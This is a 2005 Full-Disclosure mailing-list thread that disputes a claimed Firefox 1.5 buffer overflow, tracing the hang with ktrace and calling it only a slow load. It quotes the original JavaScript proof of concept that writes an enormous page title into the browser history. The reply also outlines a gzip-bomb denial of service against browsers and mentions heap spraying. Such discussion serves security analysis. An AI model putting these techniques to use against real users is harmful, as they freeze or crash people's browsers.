Re: Firefox 1.5 buffer overflow (poc) - more buffer "overflows" waiting to be discovered

[ezdy <ezdy () mac com>]

and theres no reason for it to be working.
first let's see what's going on - i loaded provided html in firefox  
and quitted it.
even quitting firefox took a while, but only slightly longer than usual.
after starting firefox again, it indeed didn't load, stuck in some  
kind of disk loop ignoring all macosx ui events.
but not swapping. alright, that's strange:

ezdy@devastace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox- 
bin
ezdy@devastace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |  
tail -100
...
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21a000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "0"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "\\"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21c000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "A"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)
  7616 firefox-bin GIO   fd 24 read 4096 bytes
       "A"
  7616 firefox-bin RET   read 4096/0x1000
  7616 firefox-bin CALL  lseek(0x18,0x21e000,0)
  7616 firefox-bin RET   lseek 0
  7616 firefox-bin CALL  read(0x18,0xcad9e00,0x1000)

this repeats virtually ad-infinitum until end of history.dat is reached.
note that there is never allocated any memory-the same buffer is  
always used, thus no memory leak.
firefox is stuck in loop (and eventually starts, since the string is  
finite, in my case
about 30M) but it took way too longer to load. im not a windows user  
but since mac is only
step away from it (you know apple, let's take win95 and freebsd and  
mix it together) my guess is
it is the same situation of keeping main thread busy and events  
cannot be passed down, eventualy
leading to "application is not responding" killbox.

for Z1PL0CK:
Don't stop, keep posting fake "buffer overflows" of #darknet  
trademonkeys (this one actually looked funny in the beggining).
This time you made it to get /.ed which is not a bad start, but yo  
gonna fly higher!

Because this bug got killed, i've something better for you:
dd if=/dev/zero a 2GB file and gzip it. then just write a php script  
which sets content-encoding: gzip and
fpassthru the file. safari rendered 1.2gb system unresponsible in 5  
seconds, firefox in about 30. both crashed
on "overflows" like this:

Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)  
failed (error code=3)
Safari(233,0xa000ed68) malloc: *** error: can't allocate region
Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to  
debug

for those interested i can send coredumps

now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly  
pollute browser's heap with shellcode: yah, this
is a good way).

sheesh. is this some 'who invent a stupidier dos attack against  
browser' contest of some sort or what?

On 8.12.2005, at 20:51, Matt wrote:

> Didn't work here, just made the system go a bit sluggish for a  
> moment, as you would expect when dealing with a 2.5  million  
> character string.
>
> Firefox :
> Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130  
> Firefox/1.5
> Built with :
> gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
> Window manager:
> KDE 3.5.0
>
> Possibly it is crashing the Windows API ?
>
> --
> Matt
>
>
> On 12/9/05, Ron <iago () valhallalegends com > wrote:I was also unable  
> to replicate it, on Firefox 1.5 i386 Linux EN
>
> ad () heapoverflow com wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > nor a fake , nor you really dont know what is a buffer overflow,  
> but for
> > sure here on my firefox 1.5 EN, the client is much longuer to  
> load to
> > the next boot but it reloads fine without exceptions and there is
> > nothing about a security bug here...
> >
> >
> >> <!-- Firefox 1.5 buffer overflow
> >>
> >> Basically firefox logs all kinda of URL data in it's history.dat  
> file,
> >> this little script will set a really large topic and Firefox  
> will then
> >> save that topic into it's history.dat.. The next time that  
> firefox is
> >> opened, it will instantly crash due to a buffer overflow -- this  
> will
> >> happen everytime until you manually delete the history.dat file  
> -- >which
> >> most users won't figure out.
> >>
> >> this proof of concept will only prevent someone from reopening
> >> their browser after being exploited. DoS if you will. however, code
> >> execution is possible with some modifcations.
> >>
> >> Tested with Firefox 1.5 on Windows XP SP2.
> >>
> >> ZIPLOCK <sickbeatz () gmail com>
> >>
> >> -->
> >> <html><head><title>heh</title><script type="text/javascript">
> >> function ex() {
> >>      var buffer = "";
> >>      for (var i = 0; i < 5000; i++) {
> >>              buffer += "A";
> >>      }
> >>      var buffer2 = buffer;
> >>      for (i = 0; i < 500; i++) {
> >>              buffer2 += buffer;
> >>      }
> >>      document.title = buffer2;
> >> }
> >> </script></head><body>ZIPLOCK says <a href="javascript:ex 
> ();">CLICK ME
> >> </a></body></html>
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.4.2 (MingW32)
> >
> > iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
> > 4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
> > Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
> > DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
> > /Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
> > crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
> > cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
> > pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
> > 5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
> > AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
> > 2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
> > IFxjTMn8Sc0=
> > =SX09
> > -----END PGP SIGNATURE-----
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/